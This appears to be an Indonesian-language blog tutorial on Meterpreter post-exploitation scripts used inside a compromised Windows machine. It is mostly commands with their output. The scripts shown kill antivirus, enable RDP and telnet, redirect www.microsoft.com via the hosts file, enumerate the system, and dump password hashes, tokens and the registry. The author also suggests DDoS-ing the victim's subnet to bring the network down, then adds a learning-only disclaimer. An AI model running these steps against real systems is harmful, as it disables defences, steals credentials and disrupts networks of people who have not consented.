Meterpreter Scripting !!!!

Metasploit dibangun based on opensouce ...
saat memasuki dunia rooting kita menggunakan meterpreter untuk melakukan remote !!!
yuk kita bahas lebih dalam apa itu meterpreter !!!

baik .... sekarang kita akan bedah saat ini jg... kita oprek nie..... meterpreter

‎1. kita masuk ke console :

 

whitecyber@whitecyber-server:~$ /opt/framework-3.5.1/msf3/msfconsole

 

sekarang kita bedah nie apa aja yang ada di meterpreter... kita bisa lihat langsung ke opensorce project nya :

http://www.metasploit.com/redmine/projects/framework/repository/show/scripts/meterpreter


Untuk melihat script itu di komputer kita ada di

whitecyber@whitecyber-server:~$ /opt/framework-3.5.1/msf3/script/meterpreter


nah tinggal kita buka buka nie kita lihat 2 kode2 ruby nya dan kita bisa rombak lho..... 
itulah enaknya opensource...

sekarang coba root salah satu windows... sehingga kita bisa menggunakan meterpreter ....

setelah muncul meterpreter.
kita ketik perintah seperti ini untuk mengecek mesin virtualnya jalan tidak

meterpreter > run checkvm

meterpreter > run checkvm

[*] Checking if SSHACKTHISBOX-0 is a Virtual Machine ........
[*] This is a VMware Workstation/Fusion Virtual Machine

sekarang kita jalankan script yang digunakan untuk mengecek sistem keamanan target..


meterpreter > run getcountermeasure

‎[*] Running Getcountermeasure on the target...
[*] Checking for contermeasures...
[*] Getting Windows Built in Firewall configuration...
[*]
[*] Domain profile configuration:
... [*] -------------------------------------------------------------------
[*] Operational mode = Disable
[*] Exception mode = Enable
[*]
[*] Standard profile configuration:
[*] -------------------------------------------------------------------
[*] Operational mode = Disable
[*] Exception mode = Enable
[*]
[*] Local Area Connection 6 firewall configuration:
[*] -------------------------------------------------------------------
[*] Operational mode = Disable
[*]
[*] Checking DEP Support Policy...

 

 

Untuk menjalankan script Remote desktopnya lancar atau tidak bisa kita menggunakan :

meterpreter > run getgui

Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u -p

... OPTIONS:

-e Enable RDP only.
-h Help menu.
-p The Password of the user to add.
-u The Username of the user to add.

meterpreter > run getgui -e

[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary

 

Untuk melihat target membuka akses telnet atau tidak bisa menggunakan :

 

meterpreter > run gettelnet

Windows Telnet Server Enabler Meterpreter Script
Usage: gettelnet -u -p

... OPTIONS:

-e Enable Telnet Server only.
-h Help menu.
-p The Password of the user to add.
-u The Username of the user to add.

meterpreter > run gettelnet -e

[*] Windows Telnet Server Enabler Meterpreter Script
[*] Setting Telnet Server Services service startup mode
[*] The Telnet Server Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary

 

 

yang paling menarik saat kita mendapatkan root dengan tool meterpreter ini kita bisa mematikan antivirus 
dengan perintah seperti ini..

meterpreter > run killav

[*] Killing Antivirus services on the target...
[*] Killing off cmd.exe...


untuk mengetahui posisi subnet client... dan ini bisa kita ddos maka seluruh jaringan akan down dalam seketika

kita bisa menggunakan perintah


meterpreter > run get_local_subnets

Local subnet: 10.211.55.0/255.255.255.0



nah berarti kita bisa ddos di alamat 10.211.55.0


ini buat pembelajaran bukan buat bikin onar ya....!!!


untuk melihat host yang nyala di server windows kita bisa menggunakan perintah

meterpreter > run hostsedit

OPTIONS:

-e Host entry in the format of IP,Hostname.
... -h Help Options.
-l Text file with list of entries in the format of IP,Hostname. One per line.

Example:

run hostsedit -e 127.0.0.1,google.com
run hostsedit -l /tmp/fakednsentries.txt

meterpreter > run hostsedit -e 10.211.55.162,www.microsoft.com
[*] Making Backup of the hosts file.
[*] Backup loacated in C:\WINDOWS\System32\drivers\etc\hosts62497.back
[*] Adding Record for Host www.microsoft.com with IP 10.211.55.162
[*] Clearing the DNS Cache

 

untuk membuat enumerasi target !!! di windoews kita bisa pake

meterpreter > run remotewinenum

Remote Windows Enumeration Meterpreter Script
This script will enumerate windows hosts in the target environment
given a username and password or using the credential under witch
... Meterpreter is running using WMI wmic windows native tool.
Usage:

OPTIONS:

-h Help menu.
-p Password of user on target system
-t The target address
-u User on the target system (If not provided it will use credential of process)

meterpreter > run remotewinenum -u administrator -p ihazpassword -t 10.211.55.128

[*] Saving report to /root/.msf3/logs/remotewinenum/10.211.55.128_20090711.0142
[*] Running WMIC Commands ....
[*] running command wimic environment list
[*] running command wimic share list
[*] running command wimic nicconfig list
[*] running command wimic computersystem list
[*] running command wimic useraccount list
[*] running command wimic group list
[*] running command wimic sysaccount list
[*] running command wimic volume list brief
[*] running command wimic logicaldisk get description,filesystem,name,size
[*] running command wimic netlogin get name,lastlogon,badpasswordcount
[*] running command wimic netclient list brief
[*] running command wimic netuse get name,username,connectiontype,localname
[*] running command wimic share get name,path
[*] running command wimic nteventlog get path,filename,writeable
[*] running command wimic service list brief
[*] running command wimic process list brief
[*] running command wimic startup list full
[*] running command wimic rdtoggle list
[*] running command wimic product get name,version
[*] running command wimic qfe list

 

 

 

 

untuk lebih cepat nya kita bisa menggunakan


meterpreter > run winenum

[*] Running Windows Local Enumerion Meterpreter Script
[*] New session on 10.211.55.128:4444...
[*] Saving report to /root/.msf3/logs/winenum/10.211.55.128_20090711.0514-99271/10.211.55.128_20090711.0514-99271.txt...
[*] Checking if SSHACKTHISBOX-0 is a Virtual Machine ........
[*] This is a VMware Workstation/Fusion Virtual Machine
[*] Running Command List ...
[*] running command cmd.exe /c set
[*] running command arp -a
[*] running command ipconfig /all
[*] running command ipconfig /displaydns
[*] running command route print
[*] running command net view
[*] running command netstat -nao
[*] running command netstat -vb
[*] running command netstat -ns
[*] running command net accounts
[*] running command net accounts /domain
[*] running command net session
[*] running command net share
[*] running command net group
[*] running command net user
[*] running command net localgroup
[*] running command net localgroup administrators
[*] running command net group administrators
[*] running command net view /domain
[*] running command netsh firewall show config
[*] running command tasklist /svc
[*] running command tasklist /m
[*] running command gpresult /SCOPE COMPUTER /Z
[*] running command gpresult /SCOPE USER /Z
[*] Running WMIC Commands ....
[*] running command wmic computersystem list brief
[*] running command wmic useraccount list
[*] running command wmic group list
[*] running command wmic service list brief
[*] running command wmic volume list brief
[*] running command wmic logicaldisk get description,filesystem,name,size
[*] running command wmic netlogin get name,lastlogon,badpasswordcount
[*] running command wmic netclient list brief
[*] running command wmic netuse get name,username,connectiontype,localname
[*] running command wmic share get name,path
[*] running command wmic nteventlog get path,filename,writeable
[*] running command wmic process list brief
[*] running command wmic startup list full
[*] running command wmic rdtoggle list
[*] running command wmic product get name,version
[*] running command wmic qfe
[*] Extracting software list from registry
[*] Finished Extraction of software list from registry
[*] Dumping password hashes...
[*] Hashes Dumped
[*] Getting Tokens...
[*] All tokens have been processed
[*] Done!


Untuk masuk ke registry nya kita bisa menggunakan tools

meterpreter > run scraper

[*] New session on 10.211.55.128:4444...
[*] Gathering basic system information...
[*] Dumping password hashes...
... [*] Obtaining the entire registry...
[*] Exporting HKCU
[*] Downloading HKCU (C:\WINDOWS\TEMP\LQTEhIqo.reg)
[*] Cleaning HKCU
[*] Exporting HKLM
[*] Downloading HKLM (C:\WINDOWS\TEMP\GHMUdVWt.reg)

 

 

baik sampai disitu dulu pembahasan penggunakan meterpreter di metasploit !!!